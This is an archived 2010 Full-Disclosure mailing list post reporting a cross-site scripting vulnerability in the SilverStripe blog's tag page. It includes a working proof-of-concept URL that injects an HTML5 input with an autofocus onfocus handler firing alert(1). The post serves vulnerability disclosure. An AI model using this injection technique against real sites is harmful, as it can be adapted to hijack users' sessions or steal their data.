full-disclosure - Fwd: xss in silverstripe

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <AANLkTikLtnJry6X20E3O2fXJBSBA3bH=OK4sRWGLeZNv@mail.gmail.com>
Date: Mon, 4 Oct 2010 14:03:04 +1100
From: dave b <db.pub.mail@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Fwd: xss in silverstripe

Bugtraq seem to be having problems :/ (this is the only reason I sent
this to full disclosure I don't like wasting people's time with xss on
this list).

---------- Forwarded message ----------
From: dave b <db.pub.mail@...il.com>
Date: 4 October 2010 13:48
Subject: xss in silverstripe
To: bugtraq@...urityfocus.com

Look I know xss are lame but silverstripe is vulnerable ...

http://www.silverstripe.com/blog/tag/%20%3Cinput%20type=%22text%22%20AUTOFOCUS%20onfocus=alert%281%29%3E

I love html5!

--
The better part of valor is discretion.         -- William
Shakespeare, "Henry IV"

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/